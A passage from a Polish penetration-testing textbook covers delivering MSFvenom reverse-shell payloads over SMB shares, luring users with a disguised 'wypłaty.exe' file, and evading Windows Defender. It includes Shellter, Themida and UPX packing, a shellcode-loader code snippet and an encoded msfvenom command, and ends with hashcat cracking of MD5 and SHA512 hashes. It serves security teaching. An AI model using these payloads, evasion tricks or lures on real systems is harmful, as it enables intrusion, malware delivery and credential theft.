który chcesz zastosować. Musisz też podać adres IP oraz numer portu swojego systemu nasłuchu-
jącego, aby payload mógł się z nim połączyć. Całość działa podobnie do uruchamiania exploitu
z frameworku Metasploit. Zauważ, że generując payload za pomocą programu MSFvenom, można
tworzyć różne formaty plików, takie jak .asp, .aspx, .dll lub .jar.
Tak przygotowanego pliku nie musisz wypalać na płycie CD lub DVD ani zapisywać na nośniku
USB. Jeżeli znajdziesz rozwiązanie umożliwiające przesłanie pliku na atakowany serwer, to możesz
dostarczyć go również w ten sposób. Poza tym tutaj też może przydać się framework Meterpreter,
ponieważ wśród udostępnianych przez niego poleceń znajduje się też polecenie upload.
upload /ścieżka/do/lokalnego/payloadu.exe

Jeżeli ta metoda nie zadziała (a czasem nie udaje się przesłać plików z powodu systemu antywi-
rusowego lub innej konfiguracji systemu), musisz szukać innego sposobu dostarczenia pliku na
serwer, na przykład za pomocą systemu plików CIFS, używając takiego polecenia:
smbclient -L <AdresIP> -U helpdesk

smbclient -L 192.168.48.104 -U helpdesk

Enter WORKGROUP\helpdesk's password:

Sharename Type Comment

--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
FILES Disk
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
SMB1 disabled -- no workgroup available

W ten sposób wykrywasz udziały, które można zamontować za pomocą programu SMBclient,
a następnie je montujesz.
mount -t cifs \\\\<AdresIP>\\C\$ /mnt/data -o user=backup,vers=1.0
mount -t cifs \\\\192.168.48.104\\FILES /mnt/data -o user=helpdesk,vers=1.0

Password for helpdesk@\192.168.48.104\FILES: ********

Wprowadź tutaj hasło użytkownika backup (albo dowolnego innego użytkownika, którego ha-
sło udało Ci się zdobyć), aby uzyskać dostęp do udziału sieciowego, a następnie umieść własny plik
w zamontowanym folderze. Zdefiniowanie dla pliku znajomej ikony, na przykład podobnej do ikony
plików Excela, i nadanie plikowi odpowiedniej nazwy (na przykład wypłaty.exe) bardzo często wy-
starcza, żeby zachęcić użytkowników do uruchomienia podstawionego pliku.
Niezależny payload musi mieć możliwość połączenia się z Twoim lokalnym komputerem, czyli
w tym przypadku maszyną wirtualną Kali Linux. W tym celu musisz na swoim komputerze przy-
gotować program oczekujący na przychodzące połączenia. We wcześniejszych ćwiczeniach używa-
liśmy w tym celu programu Netcat, ale we frameworku Metasploit dostępne są odpowiednie wbu-
dowane narzędzia. Spróbuj skorzystać (używając polecenia use) z modułu exploit/multi/handler,
którego zadaniem jest obsługa niezależnych payloadów, takich jak omawiany w tym miejscu.
Następnie użyj polecenia set PAYLOAD windows/meterpreter/reverse_tcp, aby poinformować mo-
duł o tym, jaki rodzaj payloadu będzie próbował się z nim skontaktować. Nie można zapomnieć

3681988c430c7fe1e8567c4e2f281f7b
3
Unikanie Windows Defendera 507

o zdefiniowaniu wartości dla zmiennych LHOST i LPORT, a po tych przygotowaniach można już uru-
chomić moduł poleceniem run. W tym przypadku lepiej jest uruchomić moduł jako zadanie wy-
konywane w tle, używając polecenia run -j. Zadania działające w tle mogą być kontrolowane przez
framework Metasploit, który oczekując na przyjęcie połączenia od zdalnego payloadu, umożliwia
dalszą pracę z innymi funkcjami.
Bardzo mało prawdopodobne jest, żeby tak przygotowany plik nie został wykryty przez Win-
dows Defendera lub inne nowoczesne oprogramowanie antywirusowe, dlatego warto tu wypróbo-
wać inne rozwiązania. Z atakowanego komputera skopiuj jeden z plików, który będziemy infekować.
Możemy ukryć złośliwy payload w jednym z niegroźnych plików z atakowanego komputera, aby
w ten sposób uniknąć wykrycia.
Z katalogu zamontowanego w maszynie wirtualnej Kali Linux możesz kopiować program
Kalkulator (poleceniem cp windows/system32/calc.exe <LokalnaŚcieżka>/calc.exe), aby później
ukryć w tym pliku swój payload za pomocą programu Shellter. Uruchamiając ten program, należy
wybrać działanie w trybie automatycznym (opcja A) i wskazać mu skopiowany plik calc.exe. Nie-
stety, ta sztuczka nie uda się, jeżeli atakujesz system 64-bitowy, ponieważ Shellter obsługuje wy-
łącznie systemy 32-bitowe. Możesz zatem poszukać w atakowanym systemie innego, 32-bitowego
pliku wykonywalnego. Co jednak zrobić, jeżeli na tym hoście nie znajdziesz żadnego pasującego
pliku? W takiej sytuacji można pobrać z internetu niegroźny program (na przykład PuTTY w wersji
32-bitowej), a następnie ukryć w nim swój złośliwy payload.
Shellter automatycznie zdezasembluje podany mu plik wykonywalny i przeprowadzi analizę
metodami wstecznej inżynierii, aby wykryć w kodzie miejsca pozwalające na podłączenie podanego
złośliwego kodu. W ramach prowadzonej analizy może też od razu uruchomić zmodyfikowany plik,
dlatego trzeba pamiętać o tym, żeby nie korzystać samodzielnie z pliku zainfekowanego złośliwym
oprogramowaniem. Końcowy plik wygenerowany przez program Shellter jest zabezpieczony przed
wykryciem przez słabsze programy antywirusowe. Na podobnej zasadzie możesz użyć programu
Themida w połączeniu z payloadem przygotowanym przez program MSFvenom, aby wygenerować
plik binarny umożliwiający unikanie wykrycia przez oprogramowanie antywirusowe. Niestety, sys-
temy antywirusowe używające metod uczenia maszynowego całkiem dobrze radzą sobie z wykry-
waniem takich ataków. Z kolei systemy wykrywające zagrożenia na podstawie bazy danych z sy-
gnaturami zwykle nie zauważają tak przygotowanych plików.
Jeżeli we frameworku Metasploit masz przygotowany moduł nasłuchujący połączeń od zdal-
nego payloadu i użyjesz polecenia jobs -l, to zobaczysz listę z informacją, że w tle działa jedno zada-
nie i oczekuje na przychodzące połączenia (na przykład od payloadu umieszczonego w pliku wy-
konywalnym). Pozostaje już tylko namówić użytkownika na uruchomienie złośliwego pliku, a gdy to
się już uda, we wspomnianym zadaniu frameworku Metasploit zobaczysz nową sesję Meterpretera.

Unikanie Windows Defendera

Wiele z tradycyjnych metod unikania wykrycia przez Windows Defendera nie sprawdza się już
w najnowszych wersjach systemów Windows i Windows Server. W efekcie hakerzy z małym do-
świadczeniem mogą mieć spore problemy z uruchomieniem jakiegokolwiek payloadu na atakowa-
nym komputerze. Dawniej wystarczało wygenerować payload frameworku Metasploit za pomocą
programu MSFvenom, a potem umieścić go na hoście z systemem Windows, a złośliwy kod był

3681988c430c7fe1e8567c4e2f281f7b
3
508 Rozdział 13  Microsoft Windows

wykonywany bez większych przeszkód. Dzisiaj sytuacja wygląda inaczej, a Windows Defender umie
już wykrywać większość plików wykonywalnych przygotowywanych przez program MSFvenom
(choć przy odrobinie szczęścia udaje się przemycić złośliwy plik). Oznacza to, że dzisiaj musimy
samodzielnie przygotowywać swój złośliwy payload w Visual Studio, stosując przy tym różne
sztuczki programistyczne.
Windows Defender nie jest jednak przeszkodą nie do pokonania, a dzięki odpowiednio wyko-
nanej pracy można oszukać procedury wykrywające, na przykład za pomocą kodu ładowanego
z plików DLL. Jedną z powszechnie stosowanych metod jest umieszczenie kodu payloadu w pliku
DLL i uruchomienie tego kodu na zdalnym hoście.
Peony to niewielki projekt przygotowany w firmie Hacker House (https://www.hackerhousebook.
com/files/Peony.zip), który tworzy aplikację konsoli o nazwie Loader.exe. Ta aplikacja ma tylko
jedno zadanie — załadować do pamięci plik Payload.dll. Sam program dodatkowo ukrywa własne
okno, a następnie czeka ukryty, w tle wykonując nieskończoną pętlę, co pozwala procedurom
z załadowanego pliku DLL na wykonanie wszystkich swoich prac.
HMODULE PayloadDLL;
PayloadDLL = LoadLibrary(L"Payload.dll");

Plik Payload.dll ma za zadanie przyjąć payload wygenerowany przez program MSFvenom,

umieścić go w pamięci umożliwiającej odczyt i zapis danych oraz wykonywanie kodu, a następnie
przenieść do niego wykonanie kodu, umożliwiając załadowanie Meterpretera do pamięci hosta.
Cała ta operacja polega na utworzeniu nowego wątku w funkcji DLLMain, która jest wywoływana
zaraz po załadowaniu pliku Payload.dll przez program Loader.exe. W samym wątku mapowana
jest strona pamięci o wielkości dopasowanej do rozmiaru kodu payloadu. Ten kod jest kopiowany
następnie do przygotowanej pamięci i wykonywany jako kolejna funkcja. Kod wykonujący te ope-
racje wygląda mniej więcej tak:
pShellcode = VirtualAllocEx(hProcess, NULL, sizeof(shellcode),
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(pShellcode, shellcode, sizeof(shellcode)-1);
int (*func)();
func = (int (*)()) pShellcode;
(*func)();

Jeżeli w pliku Payload.dll umieścisz łatwy do wykrycia złośliwy kod (na przykład całkowicie
niezakodowany lub niezaszyfrowany payload), to Windows Defender z całą pewnością oznaczy
cały plik DLL jako złośliwy i przeniesie go do kwarantanny. Oznacza to, że swój kod musisz zako-
dować albo zaszyfrować, a następnie zostanie on rozszyfrowany podczas ładowania pliku DLL,
co pozwala na uniknięcie wykrycia przez oprogramowanie używające baz sygnatur. Framework
Metasploit umożliwia tworzenie zaszyfrowanego payloadu za pomocą programu MSFvenom, po-
dając mu dodatkowy parametr -encrypt. Umożliwia on tworzenie payloadu zaszyfrowanego algo-
rytmami RC4 lub AES256 albo zakodowanego funkcjami Base64 lub XOR. Zazwyczaj całkowicie
wystarcza zakodowanie danych za pomocą funkcji XOR, dlatego nawet wykorzystanie enkodera
x86/xor_dynamic wbudowanego w program MSFvenom pozwala uzyskać plik DLL niepasujący
do żadnej sygnatury. Poniższe polecenie z programem MFSvenom umożliwia wygenerowanie
payloadu gotowego do umieszczenia w pliku DLL:
msfvenom -p windows/meterpreter/reverse_https LHOST=<172.16.10.2>
LPORT=443 --encoder x86/xor_dynamic -f c -o payload.c

3681988c430c7fe1e8567c4e2f281f7b
3
Unikanie Windows Defendera 509

Po takim przygotowaniu możesz zastąpić kod przypisywany zmiennej shellcode w pliku

Payload.cpp, umieszczając w niej dane zapisane w pliku payload.c. Do skompilowania plików pro-
jektu musisz użyć Visual Sudio, wybierając z menu Build pozycję Build Solution. W efekcie powsta-
nie plik .exe, który można wykorzystać w swoim ataku.
Windows Defender wysyła podejrzane pliki do chmurowej usługi Windows Defender Antivi-
rus, która zajmuje się ich analizą i wykrywaniem złośliwego kodu. Oznacza to, że każdy wygenero-
wany przez Ciebie plik będzie miał ograniczony czas pracy, szczególnie gdy zaczniesz korzystać
z zaawansowanych funkcji frameworku Meterpreter. W tej sytuacji pomocna okazuje się zmiana
techniki polegająca na stosowaniu szyfrowania oraz używaniu czasomierzy do opóźnienia różnych
działań. Można też korzystać z takich programów jak Themida, tworzących małe maszyny wirtu-
alne, albo tradycyjnych programów kompresujących, takich jak UPX32, oraz narzędzi do wstrzy-
kiwania danych binarnych, takich jak Shellter. Każdy z tych programów pozwala ukrywać praw-
dziwe funkcje Twojego pliku wykonywalnego, a przez to unikać wykrycia przez oprogramowanie
antywirusowe. Oczywiście można też łączyć ze sobą funkcje różnych programów, na przykład two-
rząc plik binarny programem Shellter, który następnie jest kompresowany za pomocą UPX32,
a następnie dodatkowo chroniony przez maszynę wirtualną wygenerowaną przez program Themida
(rysunek 13.9). Ten proces wymaga jednak stosowania metody prób i błędów, aż w końcu uda się
przygotować niewykrywalny plik payloadu.

Rysunek 13.9. Themida, narzędzie do tworzenia małych maszyn wirtualnych

3681988c430c7fe1e8567c4e2f281f7b
3
510 Rozdział 13  Microsoft Windows

Pamiętaj jednak, że żaden payload wygenerowany za pomocą naszego przykładowego projektu

nie będzie w stanie ukrywać się zbyt długo. Nawet po początkowym sukcesie nie potrwa długo, nim
systemy antywirusowe wykryją i taki plik. Wykorzystaj zatem ten projekt jako bazę dla własnych
metod przenoszenia kodu Meterpretera na host chroniony systemem Windows Defender. Umie-
jętność sprawnego unikania programów zabezpieczających wymaga też nauczenia się niskopozio-
mowego programowania w takich językach jak C++ lub assembler. Jeżeli nie masz ochoty uczyć się
tych języków, to zawsze możesz skorzystać z komercyjnego oprogramowania przeznaczonego do
tworzenia plików binarnych skutecznie unikających wykrycia.

Podsumowanie
Sieci systemów Windows są zwykle zebrane w tak zwane lasy, które zawierają drzewa będące do-
menami. Kontroler domeny jest hostem odpowiedzialnym za swoją domenę i jest zarządzany przez
konto administratora domeny. Pojedyncza domena może też zarządzać innymi domenami z tego
samego lasu. Najważniejszym celem hakera włamującego się do domeny Windows jest przejęcie
kontrolera domeny, który zajmuje się działaniami administracyjnymi dla całej domeny. Konto ad-
ministratora domeny jest najważniejszym kontem użytkownika z punktu widzenia hakera. Użyt-
kownicy domeny są zwykle uwierzytelniani za pomocą centralnego serwisu o nazwie Active Directory
(w skrócie AD), który działa na kontrolerze domeny.
Podczas hakowania systemów Windows można posługiwać się technikami, które znasz już ze
swoich prac z systemami uniksowymi. Każdego hosta można skanować i sondować w poszukiwa-
niu informacji oraz identyfikowaniu istniejących podatności, dla których można później dopaso-
wać odpowiednie exploity. Pamiętaj, że firma Microsoft udostępnia próbne wersje swoich produk-
tów, w tym i systemu Windows Server. Możesz zatem przygotować własne laboratorium i ćwiczyć
w nim hakowanie systemu Windows.
Oprogramowanie antywirusowe, a szczególnie Windows Defender, odgrywa szczególną rolę
w ochronie systemu Windows przed najróżniejszymi rodzajami ataków (nie ogranicza się do
ochrony przed tradycyjnymi wirusami komputerowymi). Poznawanie technik umożliwiających
uniknięcie wykrycia przez takie systemy jest niezbędną umiejętnością każdego testera penetracyj-
nego. Włamanie się do zaktualizowanych systemów Windows bywa naprawdę trudne, a uniknięcie
wykrycia przez Windows Defender często wymaga przygotowania własnego kodu exploitu. Ta
umiejętność wymaga jednak dużego doświadczenia, dlatego nie przejmuj się, jeżeli na razie wykra-
cza ona poza Twoje możliwości. Nie musisz jednak samodzielnie pisać kodu exploitów wykorzy-
stujących podatności istniejące w nieaktualnym oprogramowaniu, źle skonfigurowane ustawienia
zabezpieczeń oraz przewidywalność ludzkich zachowań.
Teraz znasz już kilka podstawowych technologii i protokołów (DNS, serwery WWW, SMB
i RDP), które działają również na hostach z systemem Windows Server. Wcześniej prezentowali-
śmy już różne strategie atakowania tych protokołów.
Gdy uda Ci się uzyskać dostęp do jednego z systemów Windows należącego do domeny (nie-
koniecznie serwera, być może do jednej ze stacji roboczych), możesz poszukać w nim informacji
umożliwiającej wykonanie bocznego ruchu w domenie. Jeżeli udałoby się zwiększyć swoje upraw-
nienia w tym hoście, to możesz pobrać zawartość bazy danych SAM przechowującej skróty haseł
innych użytkowników.

3681988c430c7fe1e8567c4e2f281f7b
3
Podsumowanie 511

Oczywiście różnice między hostami uniksowymi i hostami z systemami Windows są ogromne,

ale wiele technik i narzędzi przeznaczonych do sondowania, enumerowania informacji i urucha-
miania exploitów sprawdza się w obu tych środowiskach.
W następnym rozdziale dowiesz się, czym są skróty haseł i jak można próbować je łamać. Nie-
zależnie od tego, czy skróty haseł znajdziesz w systemie uniksowym, czy też w systemie Windows,
do ich łamania możesz zastosować dokładnie te same techniki.

3681988c430c7fe1e8567c4e2f281f7b
3
 Rozdział

14
Hasła

Hasła są najlepszym przyjacielem hakera. Można je zgadywać, przechwytywać, wykradać oraz wy-
korzystywać ponownie w celu uzyskania dostępu do różnych serwisów i systemów. Bardzo często
są kluczem do ważnych informacji i równie często nie spełniają stawianych przed nimi wymagań.
Ludzie często wybierają słabe hasła, na przykład imię swojego pieska, nazwę ulubionej drużyny
piłkarskiej, albo używają ważnych dla siebie dat, które można łatwo odgadnąć.
Ludzie projektujący różne systemy również mogą podejmować błędne decyzje. A gdyby oka-
zało się, że generowanie silnych haseł jest dla użytkowników bardziej intuicyjne? Poza tym trzeba
się jeszcze zmagać z wymogiem przechowywania haseł w postaci haszy, co pozwala na bezpieczne
uwierzytelnianie użytkowników.
W tym rozdziale przyjrzymy się haszowaniu haseł. Dowiesz się tutaj, czym są hasze (skróty kryp-
tograficzne) i jak można złamać tworzoną przez nie warstwę ochronną w celu uzyskania pierwot-
nego hasła. W całej tej książce pokazywaliśmy różne metody uzyskania dostępu do pliku /etc/passwd.
Dowiedzieliśmy się też, jak można wydobywać hasze z systemu Windows oraz z innych typów baz
danych. Teraz możemy przystąpić do prób złamania haseł zapisanych w tych plikach.

Haszowanie
Haszowanie jest procesem, który pobiera dane wejściowe o dowolnej wielkości, na przykład ciąg
znaków, hasło albo zawartość pliku, i zwraca dane wyjściowe o stałej wielkości, na przykład liczbę
zapisywaną zwykle w postaci szesnastkowej albo kodowanej base64. W technice komputerowej
proces haszowania wykorzystywany jest w wielu różnych miejscach. Na przykład używa się go
w strukturach danych (takich jak blockchain, który jest podstawą działania kryptowalut), służy też
do kontrolowania spójności danych w kanałach komunikacyjnych, ale też do przechowywania
haseł. Jak można się domyślać, w tym miejscu skupimy się na tym ostatnim zastosowaniu.

512

3681988c430c7fe1e8567c4e2f281f7b
3
Haszowanie 513

Jak myślisz, co dzieje się z Twoim hasłem zaraz po zarejestrowaniu się w serwisie sieciowym
i podaniu kilku danych osobowych, takich jak adres e-mail i hasło? Idealnie byłoby, gdyby zostało
ono przesłane za pośrednictwem protokołu HTTPS, a po stronie serwera zostało przekazane bez-
piecznemu algorytmowi haszującemu. W wyniku działania tego algorytmu powstanie skrót hasła,
czyli hasz.
Do szybkiego generowania różnych haszy można wykorzystać wyszukiwarkę DuckDuckGo
(https://duckduckgo.com). Ta funkcja na pewno przydaje się podczas nauki i eksperymentowania.
Po wpisaniu w wyszukiwarce zapytania sha512 mojehaslo otrzymasz poniższą wartość skrótu:
6c8f000ed64b029069024e204696999f1066a4ba4444d9bb12ca13843c3f158418a883ba30ff7c2d26433f6e19122
´e22ab27f90f2f3f4498e08033a1b7611110

Tak wygląda skrót kryptograficzny tekstu mojehaslo. Tę liczbę uzyskano za pomocą algorytmu
SHA512. Pamiętaj, że wynikiem zawsze jest liczba, która tutaj wyświetlana jest w postaci szesnast-
kowej. Możesz zakładać, że coś podobnego wykonuje też aplikacja sieciowa, której podajesz swoje
hasło. Konkretna wartość hasła jest wyrzucana, a w bazie danych zapisywany jest jedynie hasz tego
hasła. A przynajmniej zakładamy, że tak powinna działać każda aplikacja (i przy okazji stosować
kilka innych zabezpieczeń, o których będziemy mówić za chwilę).
Gdy później spróbujesz się zalogować do tej samej usługi sieciowej, wykonywana jest bardzo
podobna seria operacji. Hasło jest przesyłane za pomocą protokołu HTTPS, następnie poddawane
jest haszowaniu, a na koniec uzyskana wartość skrótu porównywana jest z wartością zapisaną wcze-
śniej w bazie danych. Jeżeli obie wartości są sobie równe, to użytkownik może zostać zalogowany.
Bardzo podobnie działa mechanizm logowania użytkowników w uniksowych systemach operacyj-
nych, przy czym bazą danych przechowującą hasze haseł jest plik /etc/shadow. Tak przynajmniej
powinien wyglądać poprawnie realizowany proces. Niestety zbyt często hasła są przechowywane
przez aplikacje w sposób nieodpowiedni, a czasem nie są nawet poddawane haszowaniu.
Jedną z bezpiecznych cech skrótów kryptograficznych jest to, że można je wygenerować na-
prawdę szybko przy wykorzystaniu względnie niewielkich zasobów komputera, ale uzyskanie pier-
wotnej postaci danych wejściowych na podstawie wartości haszu jest procesem niezwykle złożonym.
Co więcej, bezpieczne funkcje haszujące nazywane są też funkcjami jednokierunkowymi, ponieważ
nie ma w nich możliwości wpisania hasła lub podania klucza prywatnego, aby uzyskać pierwotną
wartość danych. Teoretycznie, gdy złośliwy haker uzyska dostęp do bazy danych haszy, to uzyska
jedynie to — bazę danych haszy. Nie powinna istnieć możliwość poznania wartości hasła na pod-
stawie uzyskanej wartości haszu. Samych haszy nie można też użyć do zalogowania się do systemu,
ponieważ skrót kryptograficzny takiego hasza będzie miał całkowicie inną wartość.
Jak widać, haszowanie jest czymś całkowicie odmiennym od szyfrowania. Jeżeli ktoś uzyska
dostęp do bazy danych wypełnionej zaszyfrowanymi hasłami, to zawsze będzie miał możliwość ich
odszyfrowania. (Sam proces szyfrowania jest odwracalny. Gdyby było inaczej, to nie działałyby
bezpieczne protokoły, takie jak HTTPS lub SSL/TLS). W niektórych przypadkach do odszyfrowa-
nia wszystkich haseł z bazy może wystarczyć tylko jeden klucz (albo hasło). Wielokrotnie ujaw-
niano, że różne organizacje w ten właśnie sposób przechowywały hasła użytkowników (albo nawet
gorzej, w postaci jawnej, bez żadnych prób ich zaciemniania). To poważny problem, który może
być bardzo kosztowny w przypadku włamania do bazy danych.

3681988c430c7fe1e8567c4e2f281f7b
3
514 Rozdział 14  Hasła

Idealnie byłoby, gdyby bezpieczna funkcja haszująca generowała niepowtarzalną wartość skrótu
dla każdego podanego ciągu znaków. Niestety jest to po prostu niemożliwe. Okazuje się, że starsze
algorytmy haszujące mogą generować te same wartości skrótów dla różnych danych wejściowych.
Taka sytuacja nazywana jest kolizją i oznacza, że taki algorytm nie powinien być używany w miej-
scach wymagających odpowiedniego poziomu bezpieczeństwa, ponieważ zalogowanie się do konta
jednego użytkownika mogą umożliwiać dwa albo nawet trzy różne hasła.

Narzędzia do łamania haseł

Oto kilka specjalizowanych narzędzi przeznaczonych do łamania haseł, które można stosować przy
próbach odzyskania oryginalnego tekstu haseł, mając do dyspozycji tylko ich skrót kryptograficzny:
 Hashcat,
 John the Ripper (nazywany też po prostu John),
 Ophcrack i RainbowCrack (przeznaczone do łamania haseł tęczowymi tablicami),
 L0phtcrack i LCP (narzędzia dla systemów Windows),
 Cain & Abel (program do łamania haseł działających w systemach Windows),
 HashID,
 CeWL (generator list słów),
 listy słów,
 tabele haszy,
 tabele tęczowe.

Łamanie haseł
Mimo że o funkcjach skrótu mówi się, że są funkcjami jednokierunkowymi, to jednak istnieją me-
tody pozwalające uzyskać treść hasła użytkowników na podstawie bazy danych zawierającej same
hasze. Pamiętaj, że gdy omawialiśmy metody zdobywania informacji z otwartych źródeł (OSINT),
wspominaliśmy też o serwisie HIBP (Have I Been Pwned). W tym serwisie przechowywana jest
baza danych haszy haseł, z którymi można porównywać własne hasła, aby sprawdzić, czy nie zo-
stały one ujawnione w jakimś ataku.
W jaki sposób atakujący może zmienić listę haszy w listę odpowiadających im haseł? W teorii
jest to bardzo proste. Wystarczy wziąć listę typowych haseł i wyliczać dla każdego z nich wartość
skrótu. Po wyliczeniu wszystkich wartości należy je już tylko porównać z haszami ze zdobytej bazy
danych. Jeżeli dwie wartości będą się zgadzały, to znaczy, że udało się znaleźć pasujące hasło. Choć
mówiąc dokładniej, udało się znaleźć ciąg znaków, dla którego skrót kryptograficzny ma taką samą
wartość jak hasz zapisany w „skradzionej” liście.
Powstały już specjalizowane narzędzia do tego typu prac. John the Ripper jest narzędziem przy-
gotowanym specjalne na potrzeby łamania haseł stosowanych w systemach uniksowych. Zaprezen-
tujemy tu pokrótce działanie tego programu.

3681988c430c7fe1e8567c4e2f281f7b
3
Łamanie haseł 515

Oto hasze MD5 wyliczone dla kilku słabych haseł:

 5f4dcc3b5aa765d61d8327deb882cf99,
 bdc87b9c894da5168059e00ebffb9077,
 4cb9c8a8048fd02294477fcb1a41191a,
 e10adc3949ba59abbe56e057f20f883e.

Pokażemy w praktyce, jak przeprowadza się procedury łamania haseł, przy czym wykorzystamy
tutaj narzędzie o nazwie Hashcat (https://hashcat.net/hashcat), którego twórcy twierdzą, że jest to
„najszybsze na świecie i najbardziej zaawansowane narzędzie do odzyskiwania haseł”. Program
Hashcat pozwala na stosowanie rozbudowanej konfiguracji, definiowanej przez wiele opcji dostęp-
nych w wierszu poleceń. Przed uruchomieniem tego narzędzia dopisz powyższe wartości skrótów
(oraz kilka wygenerowanych samodzielnie) do pliku tekstowego, wpisując do niego po jednej war-
tości w każdym wierszu. Następnie uruchom poniższe polecenie:
hashcat -m 0 hasze.txt /usr/share/wordlists/rockyou.txt

To polecenie może nie zadziałać poprawnie z kilku powodów. Po pierwsze musisz się upewnić,
że w aktualnym katalogu znajduje się plik tekstowy o nazwie hasze.txt, a po drugie w katalogu
/usr/share/wordlists musi istnieć plik rockyou.txt. Ten plik przechowuje jedną z list słów, jakie są
dodawane do systemu Kali Linux. Jeżeli mimo wszystko nie masz jeszcze zainstalowanych tych list
słów, to możesz je zainstalować poleceniem apt install wordlists. Następnie musisz jeszcze roz-
pakować archiwum rockyou.
Po uruchomieniu programu możesz zobaczyć poniższy komunikat o błędzie, a wtedy wystarczy
dodać do polecenia opcję --force, która jest dobrym rozwiązaniem, gdy dopiero uczysz się łamać
hasła.
* Device #1: Not a native Intel OpenCL runtime. Expect massive speed loss.
You can use --force to override, but do not report related errors.
No devices found/left.

Jeżeli masz zamiar poważnie zająć się łamaniem haseł, to lepiej będzie uruchomić program
Hashcat w systemie operacyjnym hosta, aby umożliwić mu bezpośredni dostęp do karty graficznej,
co bardzo podnosi wydajność jego pracy. Nasze polecenie powinno zatem wyglądać tak:
hashcat -m 0 --force hasze.txt /usr/share/wordlists/rockyou.txt

Opcja -m pozwala określić rodzaj skrótów kryptograficznych zapisanych w pliku hasze.txt.

W tym przypadku tej opcji przypisujemy wartość 0, która oznacza czysty zapis haszy MD5.
Po udanym uruchomieniu programu Hashcat na ekranie powinny pojawić się komunikaty po-
dobne do poniższych:
hashcat (v5.1.0) starting...

OpenCL Platform #1: The pocl project

====================================
* Device #1: pthread-Intel(R) Core(TM) i7-6820HQ CPU @ 2.70GHz,
1024/2960 MB allocatable, 1MCU

Hashes: 4 digests; 4 unique digests, 1 unique salts

Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13
rotates

3681988c430c7fe1e8567c4e2f281f7b
3
516 Rozdział 14  Hasła

Rules: 1

Applicable optimizers:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Salt
* Raw-Hash

Minimum password length supported by kernel: 0

Maximum password length supported by kernel: 256

ATTENTION! Pure (unoptimized) OpenCL kernels selected.

This enables cracking passwords and salts > length 32 but for the price
of drastically reduced performance.
If you want to switch to optimized OpenCL kernels, append -O to your
commandline.

Watchdog: Hardware monitoring interface not found on your system.

Watchdog: Temperature abort trigger disabled.

* Device #1: build_opts '-cl-std=CL1.2 -I OpenCL -I /usr/share/hashcat/

OpenCL -D LOCAL_MEM_TYPE=2 -D VENDOR_ID=64 -D CUDA_ARCH=0 -D AMD_ROCM=0
-D VECT_SIZE=8 -D DEVICE_TYPE=2 -D DGST_R0=0 -D DGST_R1=3 -D DGST_R2=2
-D DGST_R3=1 -D DGST_ELEM=4 -D KERN_TYPE=0 -D _unroll'
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

e10adc3949ba59abbe56e057f20f883e:123456
5f4dcc3b5aa765d61d8327deb882cf99:password
4cb9c8a8048fd02294477fcb1a41191a:changeme
ef749ff9a048bad0dd80807fc49e1c0d:Password1234

Session..........: hashcat
Status...........: Cracked
Hash.Type........: MD5
Hash.Target......: hashes.txt
Time.Started.....: Thu May 9 13:09:22 2019 (0 secs)
Time.Estimated...: Thu May 9 13:09:22 2019 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 1717.7 kH/s (0.27ms) @ Accel:1024 Loops:1 Thr:1
Vec:8
Recovered........: 4/4 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 539648/14344385 (3.76%)
Rejected.........: 0/539648 (0.00%)
Restore.Point....: 538624/14344385 (3.75%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: SHYANNE1 -> Monique4

Started: Thu May 9 13:09:20 2019

Stopped: Thu May 9 13:09:24 2019

3681988c430c7fe1e8567c4e2f281f7b
3
Łamanie haseł 517

Jak widać, program wypisuje wiele informacji. Jednak najbardziej interesujące nas dane wyróż-
niliśmy na tym wydruku. We wskazanej części widoczne są wartości skrótów kryptograficznych oraz
hasła, które były bazą dla tych skrótów. Jak widać, połączenie słabego hasła z przestarzałym algo-
rytmem haszującym, takim jak MD5, prawie w ogóle nie chroni naszych haseł. W zależności od siły
zastosowanego hasła może co najwyżej zmusić hakera do kilku godzin oczekiwania.
A co się stanie, jeżeli zastosujemy bezpieczniejszy algorytm haszujący? Spróbujmy użyć pro-
gramu Hashcat, aby złamać ten skrót wygenerowany algorytmem SHA512:
ba3253876aed6bc22d4a6ff53d8406c6ad864195ed144ab5c87621b6c233b548baea
e6956df346ec8c17f5ea10f35ee3cbc514797ed7ddd3145464e2a0bab413

W wywołaniu programu Hashcat trzeba tylko zmienić wartość opcji -m na 1700, która oznacza
algorytm SHA512.
* Runtime...: 2 secs

ba3253876aed6bc22d4a6ff53d8406c6ad864195ed144ab5c87621b6c233b548baeae69
56df346ec8c17f5ea10f35ee3cbc514797ed7ddd3145464e2a0bab413:123456

Jak widać, program Hashcat potrzebował tylko troszkę więcej czasu na złamanie tego skrótu,
ale i tak całość trwała co najwyżej kilka sekund. Te same słabe hasła zostały przekazane do znacznie
bezpieczniejszego algorytmu haszującego. Nie zmienia to jednak faktu, że są to bardzo słabe hasła.
Poprawa bezpieczeństwa algorytmu haszującego nie podniesie poziomu bezpieczeństwa konta za-
bezpieczanego słabym hasłem. Program Hashcat złamał te hasła w tak krótkim czasie, ponieważ
wyliczył skróty kryptograficzne dla wszystkich haseł z podanej mu listy słów, a następnie porównał
uzyskane wartości z tymi zapisanymi w pliku hasze.txt.
A co będzie, jeżeli natkniemy się na hasło, którego nie ma na naszej liście słów? Można użyć
programu John the Ripper, który domyślnie najpierw wypróbowuje wszystkie słowa z listy, a na-
stępnie przechodzi do trybu „przyrostowego”. W tym trybie generuje skrót kryptograficzny dla
każdej kombinacji znaków z podanego mu zbioru reguł i porównuje uzyskane wartości z poszuki-
wanymi skrótami. W ten sposób jest w stanie dopasować hasła zbudowane z losowych kombinacji
znaków do określonej długości. Jak można się domyślać, takie poszukiwania zajmą sporo czasu,
ponieważ program zaczyna wyliczać skróty od ciągu znaków aaaaa, a następnie robi to dla wszyst-
kich kombinacji znaków alfabetu aż do ciągu znaków zzzzzzzzzzzzzzzz lub dowolnej innej długo-
ści hasła.
